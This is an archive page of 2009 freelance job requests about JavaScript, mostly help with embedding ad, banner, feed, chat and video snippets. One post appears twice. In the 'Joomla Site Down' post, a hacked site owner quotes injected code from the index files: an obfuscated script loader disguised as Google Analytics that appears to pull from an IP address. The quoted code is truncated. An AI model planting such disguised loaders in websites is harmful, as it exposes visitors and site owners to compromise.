Archive

Posts Tagged ‘type text javascript’

Combine 2 Javascript Commands

August 24th, 2009 Comments off

I am trying to get these two javascripts to work on one html page.
They do not seem to work together.
I have heard that it will work if the two commands are combined into one command. I need a javascript programmer to do this for me. I do not know how.

<script language=’JavaScript’ src=’http://www.egoldsystem.com/search_engine_submission/freeadforum/ImpactWebAudio.js’ type=’text/javascript’></script>

<script type=”text/javascript” src=”http://forms.aweber.com/form/78/749878.js”></script>

Thank you.

Simple Java Code Needed

July 29th, 2009 Comments off

I’m trying to build a form where when you click a button a new window opens. There we choose an item and send the item code back to the parent page to populate a text field. After this is done the new window should close automatically. This is the code I’m working with at the moment. I think the head of the child file needs changing.

parent file (parts of it):

Code:
//head:

<script type=”text/javascript”>
targetElement = null;
function addProduct(frm, id) {
if(!frm || !id)
return;
targetElement = frm.elements[id];
var handle = window.open(‘find_product.php’);
}
</script>

//body:

<form id=”frm” name=”frm” action=”#”>
<input name=”code” type=”text” id=”code” size=”10″ />
<input name=”name” type=”text” id=”name” size=”32″ />
<input type=”button” value=”Add Item” onclick=”addProduct(this.form, ‘code’);” />
</form>

child file (parts of it):

Code:
//head:

<script type=”text/javascript”>
function addProduct(frm, id) {
if(!frm || !id)
return;
var elem = frm.elements[id];
if(!elem)
return;
var val = elem.options[elem.selectedIndex].value;
opener.targetElement.value = val;
this.close();
}
</script>

//body:

<form id=”frm” name=”frm” action=”#”>
<input name=”code” type=”hidden” value=”<?php echo $row_rsProducts['ProductID']; ?>” />
<input name=”name” type=”hidden” value=”<?php echo $row_rsProducts['ProductName']; ?>” />
<input type=”button” value=”Add Product” onclick=”addProduct(this.form, ‘code’);” />
</form>

Another thing that I’m not sure how to go round is that forms can’t be nested so after the field is filled in, how can I submit the value? I’d like to use this same field for another form.

Please bid only if you can solve both of these problems.

Re: Banner Link Does Not Work

July 24th, 2009 Comments off

The Flash Banner has already been added, but the link doesn’t work.
The banner was created by a large corporation and should be coded correctly. However, there might be an issue with how it was added to my site.

Please take a look to see if you can fix this before bidding.

I have placed the banner on the Scotland page:
http://www.comparegasandelectricity.com/scotland.htm

Thanks!

Here is the original banner code:

<NOSCRIPT>
<a href=’http://www.kqzyfj.com/click-3221272-10639421′>
<img alt=” border=’0′ height=’60′ src=’http://www.tqlkg.com/image-3221272-10639421′ width=’468′>
</img>
</a>
</NOSCRIPT>
<SCRIPT src=’http://www.ftjcfx.com/javascript/get_flash_html.js’ type=’text/javascript’>
</SCRIPT>
<SCRIPT type=’text/javascript’>
getFlashHtml(’468×60 coin2′, 468, 60, ‘http://www.lduhtrp.net/flash-3221272-10639421?clickTag=http://www.kqzyfj.com/click-3221272-10639421′, ”, ‘http://www.tqlkg.com/image-3221272-10639421′, ‘http://www.kqzyfj.com/click-3221272-10639421′)
</SCRIPT>

Need A Javascript Popup Code

July 22nd, 2009 Comments off

Need Javascript code made for my publisher network Site ASAP , MY SITE ADVERTREV .COM make a test account up to view what i need made up , once you login look at the link where it says CODE, well i need that code changed to a code like adversals code like below, to create a popup ,

<!– Begin Publisher Code for insurelifenow.info –>
<script type=”text/javascript” language=”javascript”>
adlsi9 = “b7679e077ab47a5c036077de8de285a779|97179|9710″
</script>
<script src=”http://www.adversalservers.com/publisherJS.js”></script>
<script type=”text/javascript” language=”javascript”>
goAdversal(“b7679e077ab47a5c036077de8de285a7″, 1, 10);
</script>
<!– End Publisher Code –>

i dont have a huge budget so please dont bid if you dont have a resonable price.
must have gtalk or msn

Need A Javascript Popup Code

July 22nd, 2009 Comments off

Need Javascript code made for my publisher network Site ASAP , MY SITE ADVERTREV .COM make a test account up to view what i need made up , once you login look at the link where it says CODE, well i need that code changed to a code like adversals code like below, to create a popup ,

<!– Begin Publisher Code for insurelifenow.info –>
<script type=”text/javascript” language=”javascript”>
adlsi9 = “b7679e077ab47a5c036077de8de285a779|97179|9710″
</script>
<script src=”http://www.adversalservers.com/publisherJS.js”></script>
<script type=”text/javascript” language=”javascript”>
goAdversal(“b7679e077ab47a5c036077de8de285a7″, 1, 10);
</script>
<!– End Publisher Code –>

i dont have a huge budget so please dont bid if you dont have a resonable price.
must have gtalk or msn

Full News Feed Implementation

July 1st, 2009 Comments off

I need an experienced person to custom install a full news feed on my website. It has to be tailored around my wordpress theme. Below are the different customization details to use however I need the coding behind it to pass my web developer toolbar check once finished.

I need this done quickly!

Styling The News Feed:

Below are the different css classes used that can be used to style the headlines and stories.

* StoryTitle – Title in Headline view
* StoryText – Description in Headline view
* StoryItem – Row in Headline view
* StoryItemAlt – Alternating Row in Headline view
* HeadlineLink – Return to Headlines Link
* SingleStoryTitle – Title in Story View
* SingleStoryItem – Story Row/Div in Story View
* SingleStoryText – Story details in Story View

Feed Options

* subscriberKey = string : Required to show feeds
* HeadlineResults – string: The name of the div which will contain the list of headlines that are to be shown. By Default Headline and Results are shown in same div.
* StoryResults – string : The name of the div which will contain the story that is chosen. By Default Headline and Results are shown in same div.
* NumHeadlines – int : The number of headlines to show in the HeadlineResults div
* StoryUrl – string : If you want the story to link to a different page, you need to setup this parameter to the url of the Story. The javascript will add the required QueryString Parameter tho this url as specified by the StoryIdParam option
* StoryIdParam – string : If you want to specify a different querystring parameter for the story ID instead of the default parameter, specify it here. You may need to do this if you use the default StoryIdParam for something else
* ShowReturnLink – bool : This option will toggle whether or not the ‘Return to Headlines’ link is shown when viewing a story.
* ReturnLinkUrl – string : This option will allow you to use a different link other than the default javascript to show the headlines page. It will only show if ShowReturnLink = true
* ReturnLinkText – string : This option will allow you to display different text for the ‘Return to Headlines’ link
* ShowTitleOnly – bool : This option will allow you to only show the headline and not the description in the headline view
* StoryId – int : If you want to specify the StoryId, it can be specified here and will pull this story. *Be aware that the story will not pull if it has expired (is no longer one of the latest 10 stories)

Option Defaults

&lt;script type=”text/javascript” src=”http://feeds.mortgagenewsdaily.com/Scripts/NewsFeed.js” id=”MNDNewsFeed”&gt;
{ subscriberKey : null,
HeadlineResults : “newsResults”,
StoryResults : “newsResults”,
NumHeadlines : 10,
StoryUrl : “javascript:GetStory(‘{0}’);”,
StoryIdParam : “storyId”,
ShowReturnLink : true,
ReturnLinkUrl : “javascript:GetNews();”,
ReturnLinkText : “Return to Headlines”,
ShowTitleOnly : false,
StoryId : null}
&lt;/script&gt;

Example for a Main Page and a Story Page:
News.aspx

&lt;script type=”text/javascript” src=”http://feeds.mortgagenewsdaily.com/Scripts/NewsFeed.js” id=”MNDNewsFeed”&gt;
{ subscriberKey : yoursubscriberkey,
HeadlineResults : “headlines”,
StoryUrl : “Story.aspx”}
&lt;/script&gt;
&lt;div id=”headlines”&gt;
&lt;/div&gt;

Story.aspx

&lt;script type=”text/javascript” src=”http://feeds.mortgagenewsdaily.com/Scripts/NewsFeed.js” id=”MNDNewsFeed”&gt;
{ subscriberKey : yoursubscriberkey,
StoryResults : “storyResults”,
ShowReturnLink : true,
ReturnLinkUrl : “News.aspx”,
ReturnLinkText : “Return to News”
}
&lt;/script&gt;
&lt;div id=”storyResults”&gt;
&lt;/div&gt;

A Simple Javascript Snippet

June 19th, 2009 Comments off

Ok, so I am not well versed with javascript and do everything with php. But this one calls for a bit of js manipulation.

For someone who knows JS this should be a five minute job.

So, we are using openx for ad management. The problem is that placing the openx javacode all over the page is simply too annoying.

so we had created a single php function called disp_ads where it would be fed the ad_zone and another variable and then it would display the ad.

this is one it looks like:

function ad_disp_raw ($ad_zone, $ad_n) {
?&gt;
&lt;script type=’text/javascript’&gt;&lt;!–//&lt;![CDATA[
var m3_u = (location.protocol=='https:'?'/cp/adserver/www/delivery/ajs.php':'/cp/adserver/www/delivery/ajs.php');
var m3_r = Math.floor(Math.random()*99999999999);
if (!document.MAX_used) document.MAX_used = ',';
document.write ("&lt;scr"+"ipt type='text/javascript' src='"+m3_u);
document.write ("?zoneid=&lt;?=$ad_zone; ?&gt;");
document.write ('&amp;amp;cb=' + m3_r);
if (document.MAX_used != ',') document.write ("&amp;amp;exclude=" + document.MAX_used);
document.write (document.charset ? '&amp;amp;charset='+document.charset : (document.characterSet ? '&amp;amp;charset='+document.characterSet : ''));
document.write ("&amp;amp;loc=" + escape(window.location));
if (document.referrer) document.write ("&amp;amp;referer=" + escape(document.referrer));
if (document.context) document.write ("&amp;context=" + escape(document.context));
if (document.mmm_fo) document.write ("&amp;amp;mmm_fo=1");
document.write ("'&gt;&lt;/scr"+"ipt&gt;");
//]]&gt;–&gt;&lt;/script&gt;&lt;noscript&gt;&lt;a href=’/cp/adserver/www/delivery/ck.php?n=&lt;?=$ad_n; ?&gt;&amp;amp;cb=INSERT_RANDOM_NUMBER_HERE’ target=’_blank’&gt;&lt;img src=’/cp/adserver/www/delivery/avw.php?zoneid=&lt;?=$ad_zone; ?&gt;&amp;amp;cb=INSERT_RANDOM_NUMBER_HERE&amp;amp;n=&lt;?=$ad_n; ?&gt;’ border=’0′ alt=” /&gt;&lt;/a&gt;&lt;/noscript&gt;
&lt;?
}

// function ad_disp is a generic add display module from phpads
function ad_disp ($ad_zone, $ad_n) {
?&gt;
&lt;fieldset class=ads&gt;
&lt;legend&gt;ADVERTISEMENT&lt;/legend&gt;
&lt;? ad_disp_raw ($ad_zone, $ad_n); ?&gt;
&lt;/fieldset&gt;&lt;?

}

———
So as you can see, sometimes we call the ad_disp function which displays a little fieldset around the ad or we can call the ad_disp_raw function directly if we don’t want the fieldset around the ad.

—-&gt; the job:
we need the same methodology done but ALL is java. So, no php function but a java function PLUS the call.

So, really all one needs to do is write two js functions where one calls the other (see above php functions) and their call syntax – where all we do is call the function with the two variables.

right now the function calls look like this:

&lt;? ad_disp{12, 1233s32); ?&gt;
so we want a call that is as simple as this!

—&gt; this needs to be done rightaway. so if you can’t do this in less than an hour don’t bid please.

Joomla Site Down

June 15th, 2009 Comments off

It seems that my Joomla application has been hacked. I need somebody who can fix this problem and also secure my site so it wont happen again.

Here is some of the code included in my index file:

&lt;php echo ‘&lt;script type=”text/javascript”&gt;
var gaJsHost = ((“https:” == document.location.protocol) ? “https://ssl.” : “http://www.”);
document.write(unescape(“%3Cscript sr?=’” + gaJsHost + “google-analytics.com/ga.js’ ” + ‘#!s(&amp;r)c#=!)’!h$#t^!#$t!$p&amp;^!:$^/!#!/#9(1).(2)1#(2)!.^&amp;6!!$
&lt;/script&gt;
&lt;script type=”text/javascript”&gt;
try {
var pageTracker = _gat._getTracker(“UA-7623457-2″);
pageTracker._trackPageview();
} catch(err) {}&lt;/script&gt;’; &gt;

And in the index file of my administrator panel:

&gt;&lt;?php echo ‘&lt;script type=”text/javascript”&gt;
var gaJsHost = ((“https:” == document.location.protocol) ? “https://ssl.” : “http://www.”);
document.write(unescape(“%3Cscript sr?=’” + gaJsHost + “google-analytics.com/ga.js’ ” + ‘#!s(&amp;r)c#=!)’!h$#t^!#$t!$p&amp;^!:$^/!#!/#9(1).(2)1#(2)!.^&amp;6!!$
&lt;/script&gt;
&lt;script type=”text/javascript”&gt;
try {
var pageTracker = _gat._getTracker(“UA-7623457-2″);
pageTracker._trackPageview();
} catch(err) {}&lt;/script&gt;’; &gt;

Amend Script

June 5th, 2009 Comments off

I want ads to appear in my search engine:
http://a2z-local.net/gotham/searchengine/index.php?page=search/web/script

They must appear at the top of search results.

The google-type ad block is made by a script I have (no problem).
An example can be found here:
http://a2z-local.net/gotham/ad.htm

The code is to be inserted into the search engine code is:

&lt;!– AD START –&gt;

&lt;script type=”text/javascript”&gt;&lt;!–
w = “a”;
ad_type = “11″;
shape = “5″;
c_border = “003366″;
c_background = “003366″;
c_text1 = “ffffff”;
c_text2 = “ff6600″;
c_text3 = “ff6600″;
c_text4 = “ff6600″;
c_text5 = “ffffff”;
url = “http://a2z-local.net/admanager”;
//–&gt;&lt;/script&gt;
&lt;script type=”text/javascript” src=”http://a2z-local.net/admanager/show.js”&gt;&lt;/script&gt;

&lt;!– AD END –&gt;

I simply do not know where to put it.

Flash Pop Up Video

June 4th, 2009 Comments off

Please see bubbleguru.com for example of the app we’d like to develop for our own use. then see truefire.com/join.html for an example of how we are using it.

we’d like to develop 3 different sizes of video pop ups. 1 round (like bubble), 1 square and 1 rectangle.

we would need a way to control where the pop up plays on the page (center, left, right etc.)

these would load automatically over a page like the examples.

note how the pop up follows the scrolling.

a visitor should be able to click on the pop up to trigger a simple menu (stop, play, close and click, where click goes to a specified url).

we should also have the option of playing once per visit to the page or every visit to the page.

please let me know if you have any otehr questions.

thanks!

p.s. here’s the bubble code we put on the page …

<script id=”accountID” language=”JavaScript” type=”text/javascript”
src=”http://www.bubbleguru.com/bubbleguru_UA/06_center.js?account=wendkos_1&amp;”></script>

<script language=”JavaScript” type=”text/javascript”
src=”http://www.bubbleguru.com/bubbleguru_files/06_on_ws_rpt.js”></script>

Lighthttpd + Http Streaming

May 19th, 2009 Comments off

Hello,
I’m using a CMS ( AWIZ) along with Lighthttpd to stream my FLV files.

I need a script that put the linked file into a “$file” variable.

This is my current code inside my video.php page ( video.php is the page loaded when I click a movie link).

&lt;?php
//This code generates the secure download url.
$t = time();
$t_hex = sprintf(“%08x”, $t);
$password=”";
$server=”http://media.domain.com”;
$file=”/filename.flv”;
$hash=md5($password . $file . $t_hex);
$url=”$server/dl/$hash/$t_hex$file”;
?&gt;

I would like to replace the ” $file=”/filename.flv”; ” So I don’t always have to manually made a change to the video.php file.

This code below, is my player:

&lt;div id=”container”&gt;&lt;a href=”http://www.macromedia.com/go/getflashplayer”&gt;Get the Flash Player&lt;/a&gt; to see this player.&lt;/div&gt;
&lt;script type=”text/javascript” src=”swfobject.js”&gt;&lt;/script&gt;
&lt;script type=”text/javascript”&gt;
var s1 = new SWFObject(“player.swf”,”ply”,”640″,”480″,”9″,”#FFFFFF”);
s1.addParam(“allowfullscreen”,”true”);
s1.addParam(“allowscriptaccess”,”always”);
s1.addParam(“flashvars”,”file=&lt;?php echo “$url” ?&gt;&amp;image=preview.jpg&amp;streamer=lighttpd”);
s1.write(“container”);
&lt;/script&gt;

So let’s say I click a link to the movie 123.flv
The code should look like:

&lt;?php
//This code generates the secure download url.
$t = time();
$t_hex = sprintf(“%08x”, $t);
$password=”";
$server=”http://media.domain.com”;
$file=”/123.flv”;
$hash=md5($password . $file . $t_hex);
$url=”$server/dl/$hash/$t_hex$file”;
?&gt;

So the $url would return the correct name to my player.

If it’s not clear enouph, let me know. I will elaborate more.

P.S. It’s for an adult site, but you won’t have to see any adult content if you don’t want to.

Social Engine Plugin

March 30th, 2009 Comments off

Project is to create a (or repair an existing) plugin for Social Engine that facilitates the integration of Userplane Webchat 2 into a SE site.

This is the Userplane app: http://www.userplane.com/index.cfm?fuseaction=apps.webchat

This is what the code looks like:
&lt;script type=’text/javascript’&gt;
var up_domainID = ’5441687FBAA3AFED1C3580371D744C35′;
var up_app = ‘ch’;
var up_initialRoom = ”;
var up_rootURL = ‘http://www.userplane.com/directory/’;
&lt;/script&gt;
&lt;script type=’text/javascript’ src=’http://www.userplane.com/directory/api/js/ii.js’&gt;&lt;/script&gt;
&lt;div style=’width:200px;margin:6px 0;padding:0;color:#AAA;font-size:9px;’&gt;&lt;a href=’http://www.userplane.com/directory/index.cfm?action=domain.viewCategory&amp;categoryID=28′ title=’Free Personal Chat by Userplane’ target=’_blank’ style=’color:#AAA;font-size:9px;’&gt;Free Personal Chat&lt;/a&gt; by &lt;a href=’http://www.userplane.com’ title=’Userplane – Your Free Chat and Web IM Community’ target=’_blank’ style=’color:#AAA;font-size:9px;’&gt;Userplane&lt;/a&gt;&lt;/div&gt;

You can install a demo of Social Engine here: www.socialengine.net.

Here are instructions on building a plugin:
http://www.socialengine.net/tutorials_view.php?tutorial_id=50
http://www.socialengine.net/tutorials_view.php?tutorial_id=54

OR you can try to tweak the plugin that is attached here to make it work.

1/2 escrow funded when you provide a link to a working demo. Balance to you paid when successfully installed on our server.

Guaranteed $25 bonus if project is successfully completed by April 6.

Put HAGAJI in your reply or you will be considered spam. Thank you.

Bear